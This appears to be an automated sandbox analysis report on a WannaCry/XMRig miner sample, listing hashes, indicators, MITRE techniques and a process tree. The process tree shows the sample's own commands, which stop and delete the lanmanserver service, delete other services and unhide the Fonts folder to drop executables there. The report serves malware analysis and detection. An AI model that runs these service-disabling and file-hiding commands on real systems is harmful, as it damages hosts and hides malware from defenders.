wannacry | 97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576

Analysis

max time kernel
163s
max time network
169s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
25-06-2022 05:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe
Size

845KB
MD5

584c2211a059c4018d2eddf8f669d63d
SHA1

87f2c620b3b9374bc7dd1c4cb296bc4fdcd5da25
SHA256

97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576
SHA512

828f6c3a7fb7a8e339ce0a0d4a520132c7ded616b52f0598f7c2ec62dc20f648ad28e43c9a4edf9789f1824ed954f47d7d39d2bde6e02453411e6406d6a79086

Score

10^/10

wannacry xmrig discovery evasion miner ransomware upx worm

Malware Config

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 4 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1468-212-0x0000000000400000-0x0000000000549000-memory.dmp	xmrig
C:\Windows\Fonts\rundllhost.exe	xmrig
\??\c:\windows\Fonts\rundllhost.exe	xmrig
behavioral2/memory/1468-232-0x0000000000400000-0x0000000000549000-memory.dmp	xmrig

Drops file in Drivers directory 1 IoCs

Processes:

cmd.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts cmd.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	cmd.exe

Executes dropped EXE 12 IoCs

Processes:

svchost.exesvchost.exesvchost.exesvchost.exesvchost.exewininit.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exerundllhost.exe

pid	process
4996	svchost.exe
3420	svchost.exe
2756	svchost.exe
3996	svchost.exe
4592	svchost.exe
1468	wininit.exe
4084	svchost.exe
3620	svchost.exe
3080	svchost.exe
204	svchost.exe
764	svchost.exe
4876	rundllhost.exe

Modifies Windows Firewall 1 TTPs 4 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exenetsh.exenetsh.exenetsh.exe

pid process

3904 netsh.exe
2028 netsh.exe
4156 netsh.exe
3284 netsh.exe
Sets file to hidden 1 TTPs 5 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

4248 attrib.exe
3008 attrib.exe
4172 attrib.exe
2188 attrib.exe
2912 attrib.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
3904	netsh.exe
2028	netsh.exe
4156	netsh.exe
3284	netsh.exe

pid	process
4248	attrib.exe
3008	attrib.exe
4172	attrib.exe
2188	attrib.exe
2912	attrib.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/3412-130-0x0000000000400000-0x0000000000558000-memory.dmp	upx
behavioral2/memory/3412-131-0x0000000000400000-0x0000000000558000-memory.dmp	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
\??\c:\windows\Fonts\svchost.exe	upx
behavioral2/memory/4996-154-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/4996-163-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/3420-183-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/2756-184-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/3996-185-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/3420-187-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/2756-188-0x0000000140000000-0x0000000140053000-memory.dmp	upx
C:\Windows\Fonts\svchost.exe	upx
behavioral2/memory/4592-190-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/3996-191-0x0000000140000000-0x0000000140053000-memory.dmp	upx
C:\Windows\Fonts\wininit.exe	upx
\??\c:\windows\Fonts\wininit.exe	upx
behavioral2/memory/3412-202-0x0000000000400000-0x0000000000558000-memory.dmp	upx
behavioral2/memory/1468-212-0x0000000000400000-0x0000000000549000-memory.dmp	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
behavioral2/memory/4084-222-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/3620-223-0x0000000140000000-0x0000000140053000-memory.dmp	upx
C:\Windows\Fonts\svchost.exe	upx
behavioral2/memory/3080-225-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/764-228-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/204-229-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/4592-230-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/204-231-0x0000000140000000-0x0000000140053000-memory.dmp	upx
behavioral2/memory/1468-232-0x0000000000400000-0x0000000000549000-memory.dmp	upx
behavioral2/memory/764-233-0x0000000140000000-0x0000000140053000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exe

pid process

4376 takeown.exe
Drops file in Program Files directory 1 IoCs

Processes:

attrib.exe

description ioc process

File opened for modification C:\program files (x86)\stormii attrib.exe

pid	process
4376	takeown.exe

description	ioc	process
File opened for modification	C:\program files (x86)\stormii	attrib.exe

Drops file in Windows directory 64 IoCs

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exewininit.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File created	\??\c:\windows\Fonts\wininit.exe	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File created	\??\c:\windows\Fonts\rundllhost.exe	wininit.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File created	\??\c:\windows\demo.bat	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\tasksche.exe	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4980 sc.exe
4744 sc.exe
912 sc.exe
1560 sc.exe
2568 sc.exe
4264 sc.exe
4332 sc.exe
3440 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exe

pid process

1320 ipconfig.exe
Kills process with WMI 10 IoCs
evasion

Processes:

WMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exe

pid process

1732 WMIC.exe
1496 WMIC.exe
3872 WMIC.exe
740 WMIC.exe
4112 WMIC.exe
2420 WMIC.exe
3972 WMIC.exe
3120 WMIC.exe
312 WMIC.exe
2100 WMIC.exe
Kills process with taskkill 7 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2720 taskkill.exe
4220 taskkill.exe
1808 taskkill.exe
4960 taskkill.exe
2016 taskkill.exe
940 taskkill.exe
5044 taskkill.exe

pid	process
4980	sc.exe
4744	sc.exe
912	sc.exe
1560	sc.exe
2568	sc.exe
4264	sc.exe
4332	sc.exe
3440	sc.exe

pid	process
1320	ipconfig.exe

pid	process
1732	WMIC.exe
1496	WMIC.exe
3872	WMIC.exe
740	WMIC.exe
4112	WMIC.exe
2420	WMIC.exe
3972	WMIC.exe
3120	WMIC.exe
312	WMIC.exe
2100	WMIC.exe

pid	process
2720	taskkill.exe
4220	taskkill.exe
1808	taskkill.exe
4960	taskkill.exe
2016	taskkill.exe
940	taskkill.exe
5044	taskkill.exe

Modifies registry class 1 IoCs

Processes:

97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

wininit.exe

pid	process
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe
1468	wininit.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3120	WMIC.exe
Token: SeSecurityPrivilege	3120	WMIC.exe
Token: SeTakeOwnershipPrivilege	3120	WMIC.exe
Token: SeLoadDriverPrivilege	3120	WMIC.exe
Token: SeSystemProfilePrivilege	3120	WMIC.exe
Token: SeSystemtimePrivilege	3120	WMIC.exe
Token: SeProfSingleProcessPrivilege	3120	WMIC.exe
Token: SeIncBasePriorityPrivilege	3120	WMIC.exe
Token: SeCreatePagefilePrivilege	3120	WMIC.exe
Token: SeBackupPrivilege	3120	WMIC.exe
Token: SeRestorePrivilege	3120	WMIC.exe
Token: SeShutdownPrivilege	3120	WMIC.exe
Token: SeDebugPrivilege	3120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3120	WMIC.exe
Token: SeRemoteShutdownPrivilege	3120	WMIC.exe
Token: SeUndockPrivilege	3120	WMIC.exe
Token: SeManageVolumePrivilege	3120	WMIC.exe
Token: 33	3120	WMIC.exe
Token: 34	3120	WMIC.exe
Token: 35	3120	WMIC.exe
Token: 36	3120	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3120	WMIC.exe
Token: SeSecurityPrivilege	3120	WMIC.exe
Token: SeTakeOwnershipPrivilege	3120	WMIC.exe
Token: SeLoadDriverPrivilege	3120	WMIC.exe
Token: SeSystemProfilePrivilege	3120	WMIC.exe
Token: SeSystemtimePrivilege	3120	WMIC.exe
Token: SeProfSingleProcessPrivilege	3120	WMIC.exe
Token: SeIncBasePriorityPrivilege	3120	WMIC.exe
Token: SeCreatePagefilePrivilege	3120	WMIC.exe
Token: SeBackupPrivilege	3120	WMIC.exe
Token: SeRestorePrivilege	3120	WMIC.exe
Token: SeShutdownPrivilege	3120	WMIC.exe
Token: SeDebugPrivilege	3120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3120	WMIC.exe
Token: SeRemoteShutdownPrivilege	3120	WMIC.exe
Token: SeUndockPrivilege	3120	WMIC.exe
Token: SeManageVolumePrivilege	3120	WMIC.exe
Token: 33	3120	WMIC.exe
Token: 34	3120	WMIC.exe
Token: 35	3120	WMIC.exe
Token: 36	3120	WMIC.exe
Token: SeIncreaseQuotaPrivilege	312	WMIC.exe
Token: SeSecurityPrivilege	312	WMIC.exe
Token: SeTakeOwnershipPrivilege	312	WMIC.exe
Token: SeLoadDriverPrivilege	312	WMIC.exe
Token: SeSystemProfilePrivilege	312	WMIC.exe
Token: SeSystemtimePrivilege	312	WMIC.exe
Token: SeProfSingleProcessPrivilege	312	WMIC.exe
Token: SeIncBasePriorityPrivilege	312	WMIC.exe
Token: SeCreatePagefilePrivilege	312	WMIC.exe
Token: SeBackupPrivilege	312	WMIC.exe
Token: SeRestorePrivilege	312	WMIC.exe
Token: SeShutdownPrivilege	312	WMIC.exe
Token: SeDebugPrivilege	312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	312	WMIC.exe
Token: SeRemoteShutdownPrivilege	312	WMIC.exe
Token: SeUndockPrivilege	312	WMIC.exe
Token: SeManageVolumePrivilege	312	WMIC.exe
Token: 33	312	WMIC.exe
Token: 34	312	WMIC.exe
Token: 35	312	WMIC.exe
Token: 36	312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	312	WMIC.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exewininit.exe

pid	process
3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe
3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe
1468	wininit.exe
1468	wininit.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.execmd.execmd.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3412 wrote to memory of 3620	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	cmd.exe
PID 3412 wrote to memory of 3620	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	cmd.exe
PID 3412 wrote to memory of 3620	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	cmd.exe
PID 3412 wrote to memory of 1996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 1996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 1996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 2568	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 2568	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 2568	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4264	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4264	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4264	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4796	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4796	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4796	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4332	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4332	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4332	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4356	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4356	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4356	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 3440	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 3440	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 3440	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4984	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4984	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4984	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4980	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4980	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4980	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4760	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4760	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4760	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	net.exe
PID 3412 wrote to memory of 4744	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4744	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4744	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	sc.exe
PID 3412 wrote to memory of 4996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 4996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 3420	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 3420	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 2756	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 2756	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 3996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 3996	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	svchost.exe
PID 3412 wrote to memory of 4032	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	cmd.exe
PID 3412 wrote to memory of 4032	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	cmd.exe
PID 3412 wrote to memory of 4032	3412	97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe	cmd.exe
PID 3620 wrote to memory of 4540	3620	cmd.exe	attrib.exe
PID 3620 wrote to memory of 4540	3620	cmd.exe	attrib.exe
PID 3620 wrote to memory of 4540	3620	cmd.exe	attrib.exe
PID 4032 wrote to memory of 4376	4032	cmd.exe	takeown.exe
PID 4032 wrote to memory of 4376	4032	cmd.exe	takeown.exe
PID 4032 wrote to memory of 4376	4032	cmd.exe	takeown.exe
PID 1996 wrote to memory of 4316	1996	net.exe	net1.exe
PID 4356 wrote to memory of 2344	4356	net.exe	net1.exe
PID 1996 wrote to memory of 4316	1996	net.exe	net1.exe
PID 1996 wrote to memory of 4316	1996	net.exe	net1.exe
PID 4356 wrote to memory of 2344	4356	net.exe	net1.exe
PID 4356 wrote to memory of 2344	4356	net.exe	net1.exe
PID 4984 wrote to memory of 4632	4984	net.exe	net1.exe
PID 4984 wrote to memory of 4632	4984	net.exe	net1.exe
PID 4984 wrote to memory of 4632	4984	net.exe	net1.exe
PID 4760 wrote to memory of 2936	4760	net.exe	net1.exe
PID 4760 wrote to memory of 2936	4760	net.exe	net1.exe

Views/modifies file attributes 1 TTPs 64 IoCs

evasion

Hidden Files and Directories

T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid	process
4792	attrib.exe
1960	attrib.exe
2392	attrib.exe
4540	attrib.exe
1900	attrib.exe
3280	attrib.exe
2644	attrib.exe
4608	attrib.exe
1544	attrib.exe
4328	attrib.exe
4884	attrib.exe
4984	attrib.exe
1988	attrib.exe
3484	attrib.exe
2848	attrib.exe
4264	attrib.exe
2172	attrib.exe
3696	attrib.exe
4320	attrib.exe
176	attrib.exe
4172	attrib.exe
3044	attrib.exe
3244	attrib.exe
3192	attrib.exe
4204	attrib.exe
5116	attrib.exe
2736	attrib.exe
4960	attrib.exe
2188	attrib.exe
3988	attrib.exe
3104	attrib.exe
3040	attrib.exe
1832	attrib.exe
1976	attrib.exe
1504	attrib.exe
5112	attrib.exe
5088	attrib.exe
2728	attrib.exe
3492	attrib.exe
364	attrib.exe
2220	attrib.exe
3776	attrib.exe
3168	attrib.exe
4012	attrib.exe
3660	attrib.exe
1324	attrib.exe
4816	attrib.exe
1264	attrib.exe
3884	attrib.exe
4544	attrib.exe
3384	attrib.exe
4748	attrib.exe
1148	attrib.exe
520	attrib.exe
1308	attrib.exe
3008	attrib.exe
3080	attrib.exe
1156	attrib.exe
5072	attrib.exe
220	attrib.exe
4776	attrib.exe
4564	attrib.exe
1344	attrib.exe
2188	attrib.exe

C:\Users\Admin\AppData\Local\Temp\97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe
"C:\Users\Admin\AppData\Local\Temp\97777b89eac81ccb0d81cbfcd605c12b91469109b9550700148d43b3be725576.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\SysWOW64\attrib.exe
    attrib -s -h -r -a C:\Windows\Fonts
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:4540
- C:\Windows\SysWOW64\net.exe
  net stop lanmanserver /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop lanmanserver /y
    3⤵
    PID:4316
- C:\Windows\SysWOW64\sc.exe
  sc config lanmanserver start= DISABLED 2>nul
  2⤵
  - Launches sc.exe
  PID:2568
- C:\Windows\SysWOW64\sc.exe
  sc delete lanmanserver
  2⤵
  - Launches sc.exe
  PID:4264
- C:\Windows\SysWOW64\net.exe
  net stop mssecsvc2.0
  2⤵
  PID:4796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mssecsvc2.0
    3⤵
    PID:4636
- C:\Windows\SysWOW64\sc.exe
  sc delete mssecsvc2.0
  2⤵
  - Launches sc.exe
  PID:4332
- C:\Windows\SysWOW64\net.exe
  net stop mssecsvc2.1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mssecsvc2.1
    3⤵
    PID:2344
- C:\Windows\SysWOW64\sc.exe
  sc delete mssecsvc2.1
  2⤵
  - Launches sc.exe
  PID:3440
- C:\Windows\SysWOW64\net.exe
  net stop Natihial
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Natihial
    3⤵
    PID:4632
- C:\Windows\SysWOW64\sc.exe
  sc delete Natihial
  2⤵
